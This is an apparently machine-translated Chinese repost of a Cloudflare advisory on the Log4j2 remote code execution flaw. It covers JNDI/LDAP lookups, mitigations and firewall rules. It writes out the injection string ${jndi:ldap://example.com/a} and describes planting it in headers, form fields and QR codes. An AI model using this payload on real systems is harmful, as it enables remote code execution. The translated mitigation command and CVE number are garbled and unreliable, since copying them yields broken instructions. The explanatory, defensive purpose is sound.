Log4j2 漏洞详解 (CVE202144228)Log4j2漏洞的详细说明(CVE202144228)在这篇博文的前一个版本中,推荐了几种略有不同的缓解方法。Apache Log4j项目更新了它的官方指南,我们也根据它的推荐更新了这篇博文。昨天,2021年12月9日,在流行的基于Java的日志包Log4j中发现了一......
在这篇博文的前一个版本中,推荐了几种略有不同的缓解方法。Apache Log4j项目更新了它的官方指南,我们也根据它的推荐更新了这篇博文。
昨天,2021年12月9日,在流行的基于Java的日志包Log4j中发现了一个非常严重的漏洞。此漏洞允许攻击者在远程服务器上执行代码;所谓的远程代码执行(RCE)。随着Java和Log4j的广泛使用,这可能是自Heartbleed和ShellShock以来互联网上最严重的漏洞之一。
漏洞CVE202144228影响Log4j介于2.0beta9和2.14.1之间的版本2。在2.16.0中打了补丁。
在本帖中,我们将介绍该漏洞的历史,它是如何被引入的,以及Cloudflare如何保护我们的客户。
Cloudflare使用基于Java的软件,我们的团队已经采取措施来确保我们的系统不会受到攻击,或者降低该漏洞的风险。同时,我们引入了防火墙规则来保护我们的客户。
但是,如果您的公司使用基于Java的软件,其中使用了Log4j,那么您应该立即查阅关于如何减轻和保护您的系统的章节,然后阅读其余部分。
如何降低CVE漏洞风险202144228
实施以下缓解方法之一:Java 8(或更高版本)的用户应升级到版本2.16.0。Java用户应该升级到2.12.2版。
或者,在2.16.0以外的任何版本中,可以从类路径中删除JndiLookup类:zipqd log4jcore*。jarorg/Apache/logging/log4j/core/lookup/JNDI lookup . class
漏洞历史记录
2013年2.0beta9版本中,Log4j包增加了“JNDILookup插件”来发布LOG4J2313。要理解这种变化是如何引起问题的,您需要了解一点JNDI:Java命名和目录接口。
JDNI从20世纪90年代末开始被引入Java。它是一种目录服务,允许Java程序通过目录查找数据(以Java对象的形式)。JDNI有多个服务提供者接口(SPI ),支持它使用各种目录服务。
比如SPI存在于CORBA COS(公共对象服务)、Java RMI(远程方法接口)注册表和LDAP中。LDAP是一种非常流行的目录服务(轻量级目录访问协议),并且它是CVE202144228的主要焦点(尽管也可以使用其他SPI)。
Java程序可以同时使用JNDI和LDAP来查找包含可能需要的数据的Java对象。例如,在标准的Java文档中,有一个与LDAP服务器通信以从对象中检索属性的示例。它使用URL LDAP://localhost:389/o = JNDITutorial从运行在同一台机器(localhost)的端口389上的LDAP服务器中查找JNDI教程对象,并继续从中读取属性。
正如教程所说:“如果您的LDAP服务器位于另一台机器上或使用另一个端口,那么您需要编辑LDAP URL”。因此,LDAP服务器可能运行在不同的机器上,并且可能位于互联网上的任何地方。这种灵活性意味着,如果攻击者能够控制LDAP URL,就可以让Java程序从攻击者控制的服务器上加载对象。
以上是JNDI和LDAP的基本情况;它们是Java生态系统的重要组成部分。
但是在Log4j的情况下,攻击者可以通过尝试在Log4j中写入${jndi:ldap://example.com/a}这样的字符串来控制LDAP URL。如果发生这种情况,Log4j将连接到example.com上的LDAP服务器并检索对象。
发生这种情况是因为Log4j包含一种特殊的语法格式${ prefix:name },其中prefix是许多不同的查找值之一,name应该在这些查找值中进行计算。例如,${Java:version}是Java的当前运行版本。
LOG4J2313添加了以下jndi查找:“jndi lookup允许通过JNDI检索变量。默认情况下,该项的前缀将是java:comp/env/,但如果该项包含':',则不会添加前缀。"
当:存在于关键字中时,如${ JNDI:ldap://example . com/a }所示,将没有前缀,并将在LDAP服务器中查询该对象。这些查找可以在Log4j的配置中和记录行时使用。
因此,攻击者只需要找到一些记录的输入,然后添加${jndi:ldap://example.com/a}这样的内容。这可以是一个普通的HTTP头,比如UserAgent(通常是记录的),也可以是一个也可以记录的表单参数,比如username。
这种情况在使用Log4j的基于Java的网络软件中可能很常见。更有甚者,使用Java的非联网软件在不同系统间传输数据时也可能利用漏洞。
例如,可以将包含漏洞的用户代理字符串传递给用Java编写的执行索引或数据科学的后端系统,并且可以记录该漏洞。这就是为什么所有使用Log4j version 2的基于Java的软件都必须立即打补丁或应用缓解措施。即使网络软件不是用Java编写的,该字符串也可能被传递给使用Java的其他系统,从而使攻击者利用该漏洞。
或者,假设有一个基于Java的计费系统,会记录找不到客户名字的情况。恶意用户可能会创建名称包含漏洞的订单,这些订单可能会经过多次跳跃(并且需要很长时间),通过客户数据库从Web服务器进入计费系统,最后在其中被执行。
而且Java不仅仅用在网络化系统中,很多其他系统中也会用到。举个例子,不难想象,包裹处理系统或者用来扫描盒子上二维码的非接触式门卡,如果用Java写,用Log4j,就容易受到攻击。在一种情况下,精心制作的QR码可能包含带有漏洞字符串的邮寄地址;在另一种情况下,精心编程的门卡可能包含漏洞,并被跟踪进出的系统记录下来。
执行常规工作的系统可能会提取漏洞内容并在以后记录下来。因此,在用Java编写的某些索引、打包或归档过程无意中记录了恶意字符串之前,该漏洞可能一直处于休眠状态。这可能在几个小时甚至几天内发生。
Cloudflare防火墙保护
Cloudflare为使用我们的防火墙阻止HTTP请求中常见位置的jndi查找的客户引入了基于规则的保护。随着攻击者不断修改和利用漏洞,我们也在不断优化这些规则。
特别声明:以上文章内容仅代表作者本人观点,不代表ESG跨境电商观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与ESG跨境电商联系。
二维码加载中...
使用微信扫一扫登录
使用账号密码登录
平台顾问
微信扫一扫
马上联系在线顾问
小程序
ESG跨境小程序
手机入驻更便捷
返回顶部